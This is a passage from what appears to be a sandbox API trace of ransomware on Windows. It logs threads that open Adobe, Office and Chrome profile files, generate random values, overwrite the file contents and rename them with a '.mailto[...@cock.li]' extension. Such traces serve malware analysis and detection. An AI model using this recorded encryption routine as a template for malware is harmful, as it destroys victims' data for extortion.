lpFindFileData=0x969460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbab1, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0162.951] wcscmp (_String1="DEXShare.asfx", _String2=".") returned 1 [0162.951] wcscmp (_String1="DEXShare.asfx", _String2="..") returned 1 [0162.951] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa8) returned 0x97b808 [0162.951] wcscpy (in: _Dest=0x97b808, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services" [0162.952] wcscat (in: _Dest=0x97b808, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\" [0162.952] wcscat (in: _Dest=0x97b808, _Source="DEXShare.asfx" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\DEXShare.asfx") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\DEXShare.asfx" [0163.491] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97b808, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe20 [0163.492] FindNextFileW (in: hFindFile=0x93adb8, lpFindFileData=0x969460 | out: lpFindFileData=0x969460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0163.492] wcscmp (_String1="Services.asfx", _String2=".") returned 1 [0163.492] wcscmp (_String1="Services.asfx", _String2="..") returned 1 [0163.492] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa8) returned 0x97c678 [0163.492] wcscpy (in: _Dest=0x97c678, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services" [0163.492] wcscat (in: _Dest=0x97c678, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\" [0163.492] wcscat (in: _Dest=0x97c678, _Source="Services.asfx" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\Services.asfx") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\Services.asfx" [0163.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97c678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ec [0163.493] FindNextFileW (in: hFindFile=0x93adb8, lpFindFileData=0x969460 | out: lpFindFileData=0x969460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0163.493] FindClose (in: hFindFile=0x93adb8 | out: hFindFile=0x93adb8) returned 1 [0163.494] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x969460) returned 1 [0163.494] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940498) returned 1 [0163.494] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76ae0) returned 1 Thread: id = 4794 os_tid = 0x1b3c [0161.540] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll")) returned 0x2020 [0161.540] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll", dwFileAttributes=0x20) returned 0 [0161.540] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.540] GetLastError () returned 0x5 [0161.540] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll", dwFileAttributes=0x2020) returned 0 [0161.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd495460) returned 1 Thread: id = 4801 os_tid = 0x1b58 [0161.562] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Reflow.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\reflow.rum")) returned 0x20 [0163.260] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Reflow.RUM", dwFileAttributes=0x20) returned 0 [0163.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Reflow.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\reflow.rum"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.260] GetLastError () returned 0x5 [0163.261] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Reflow.RUM", dwFileAttributes=0x20) returned 0 [0163.261] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941668) returned 1 Thread: id = 4914 os_tid = 0x1d90 [0161.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk")) returned 0x20 [0161.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK", dwFileAttributes=0x20) returned 0 [0161.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.726] GetLastError () returned 0x5 [0161.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK", dwFileAttributes=0x20) returned 0 [0161.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76588) returned 1 Thread: id = 4915 os_tid = 0x1d94 [0161.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk")) returned 0x20 [0161.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK", dwFileAttributes=0x20) returned 0 [0161.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.727] GetLastError () returned 0x5 [0161.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK", dwFileAttributes=0x20) returned 0 [0161.727] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac300) returned 1 Thread: id = 4935 os_tid = 0x1de4 [0161.753] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\dexshare.asfx")) returned 0x20 [0162.413] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\DEXShare.asfx", dwFileAttributes=0x20) returned 0 [0163.045] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\dexshare.asfx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.045] GetLastError () returned 0x5 [0163.046] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\DEXShare.asfx", dwFileAttributes=0x20) returned 0 [0163.046] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97af18) returned 1 Thread: id = 4963 os_tid = 0x1e54 [0162.415] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager-journal")) returned 0x2020 [0166.534] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal", dwFileAttributes=0x20) returned 1 [0169.287] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager-journal"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a60 [0169.288] GetFileSizeEx (in: hFile=0x1a60, lpFileSize=0x2d9f77c | out: lpFileSize=0x2d9f77c*=0) returned 1 [0169.288] FlushFileBuffers (hFile=0x1a60) returned 1 [0170.437] CloseHandle (hObject=0x1a60) returned 1 [0170.437] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal", dwFileAttributes=0x2020) returned 1 [0171.302] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x939268) returned 1 Thread: id = 4964 os_tid = 0x1e58 [0162.415] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme")) returned 0x2020 [0165.388] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README", dwFileAttributes=0x20) returned 1 [0169.243] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1544 [0169.244] GetFileSizeEx (in: hFile=0x1544, lpFileSize=0x3c5f8b4 | out: lpFileSize=0x3c5f8b4*=180) returned 1 [0169.244] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458c0 [0169.244] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e2e8 [0169.244] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93dcf8 [0169.244] NtQuerySystemTime (in: CurrentTime=0x3c5f814 | out: CurrentTime=0x3c5f814*=132174899438458000) returned 0x0 [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x5741c2b6 [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x2e01d611 [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x5656e437 [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x6991c0bf [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x30791b5e [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x49b174b [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0xbb8cb8a [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0xb8eaf8a [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x68b9244f [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x5dfb982 [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x24626638 [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x7cb5b104 [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x1c77f6c3 [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x16151022 [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x79bd550d [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x463c7db0 [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x2447a7b [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x4566fbf3 [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x1da2208a [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x72af146d [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x731c9d03 [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x5ad52eef [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x19758d83 [0169.244] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x2720ead1 [0169.245] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x1d2ccbca [0169.245] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x55f40e47 [0169.245] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x70282d8d [0169.245] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x20962ec1 [0169.245] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x731228a2 [0169.245] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0xa51f901 [0169.245] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x394d4d11 [0169.245] RtlRandomEx (in: Seed=0x3c5f820 | out: Seed=0x3c5f820) returned 0x7284dd5c [0169.257] ReadFile (hFile=0x1544, lpBuffer=0x12d540e8, nNumberOfBytesToRead=0xb4, lpNumberOfBytesRead=0x3c5f810, lpOverlapped=0x0) [0169.259] SetFilePointerEx (in: hFile=0x1544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.259] WriteFile (in: hFile=0x1544, lpBuffer=0x12d608f0*, nNumberOfBytesToWrite=0xb4, lpNumberOfBytesWritten=0x3c5f80c, lpOverlapped=0x0 | out: lpBuffer=0x12d608f0*, lpNumberOfBytesWritten=0x3c5f80c*=0xb4, lpOverlapped=0x0) returned 1 [0169.908] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9455c8 [0169.908] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945c30 [0169.908] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945c30) returned 1 [0169.908] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d608f0) returned 1 [0169.917] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d540e8) returned 1 [0169.918] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9250) returned 1 [0169.918] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2428) returned 1 [0169.918] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x19) returned 0x945c30 [0169.919] SetFilePointerEx (in: hFile=0x1544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.919] WriteFile (in: hFile=0x1544, lpBuffer=0xd4ca080*, nNumberOfBytesToWrite=0xfd, lpNumberOfBytesWritten=0x3c5f874, lpOverlapped=0x0 | out: lpBuffer=0xd4ca080*, lpNumberOfBytesWritten=0x3c5f874*=0xfd, lpOverlapped=0x0) returned 1 [0169.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ca080) returned 1 [0169.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9456b8) returned 1 [0169.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945938) returned 1 [0169.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945c30) returned 1 [0169.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455c8) returned 1 [0169.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e2e8) returned 1 [0169.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93de60) returned 1 [0169.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e2c0) returned 1 [0169.926] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xee) returned 0x12cf6f78 [0169.928] wcscpy (in: _Dest=0x12cf6f78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README" [0169.928] wcscat (in: _Dest=0x12cf6f78, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README.mailto[2Hamlampampom@cock.li].cd46d" [0169.928] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x3c5f82c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\README.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0169.928] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x104) returned 0x91c4f8 Thread: id = 4965 os_tid = 0x1e5c [0162.415] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences")) returned 0x2020 [0166.533] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", dwFileAttributes=0x20) returned 1 [0169.288] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a64 [0169.288] GetFileSizeEx (in: hFile=0x1a64, lpFileSize=0x53f9d8 | out: lpFileSize=0x53f9d8*=35651) returned 1 [0169.288] SetFilePointerEx (in: hFile=0x1a64, liDistanceToMove=0x8b3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.288] ReadFile (in: hFile=0x1a64, lpBuffer=0x53f95c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x53f958, lpOverlapped=0x0 | out: lpBuffer=0x53f95c*, lpNumberOfBytesRead=0x53f958*=0x4, lpOverlapped=0x0) returned 1 [0169.290] SetFilePointerEx (in: hFile=0x1a64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.290] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458c0 [0169.290] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e1a8 [0169.290] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e248 [0169.290] NtQuerySystemTime (in: CurrentTime=0x53f938 | out: CurrentTime=0x53f938*=132174899438926000) returned 0x0 [0169.290] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x6df05a0b [0169.290] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x767c5cf4 [0169.290] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x3d656351 [0169.290] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x1bf840c3 [0169.290] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x13afdf78 [0169.290] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x3ec5c50a [0169.290] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x1ed4e1f1 [0169.290] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x2566bf96 [0169.290] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x6fb09009 [0169.290] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x146f86c0 [0169.290] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x42c8756 [0169.290] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x2bf694ca [0169.290] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x4cfa9582 [0169.290] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x194ab4c3 [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x5361b0c8 [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x662afc93 [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x2ec8a1a3 [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x2595df12 [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x1bcd6803 [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x4ea83e24 [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x5c0206ab [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x2431fafe [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x72907550 [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x35bc0c8a [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x25fc9797 [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x7349ee68 [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x7622d625 [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x6a99b60b [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x344e9f8e [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x5501cb03 [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x6994981d [0169.291] RtlRandomEx (in: Seed=0x53f944 | out: Seed=0x53f944) returned 0x11ae5723 [0169.303] ReadFile (hFile=0x1a64, lpBuffer=0x12d86108, nNumberOfBytesToRead=0x8b43, lpNumberOfBytesRead=0x53f934, lpOverlapped=0x0) [0169.304] SetFilePointerEx (in: hFile=0x1a64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.304] WriteFile (in: hFile=0x1a64, lpBuffer=0x12d92910*, nNumberOfBytesToWrite=0x8b43, lpNumberOfBytesWritten=0x53f930, lpOverlapped=0x0 | out: lpBuffer=0x12d92910*, lpNumberOfBytesWritten=0x53f930*=0x8b43, lpOverlapped=0x0) returned 1 [0169.844] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed80 [0169.844] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee48 [0169.844] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee48) returned 1 [0169.844] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d92910) returned 1 [0169.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d86108) returned 1 [0169.847] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8698) returned 1 [0169.847] RtlFreeHeap (HeapHandle=0x8c0000, 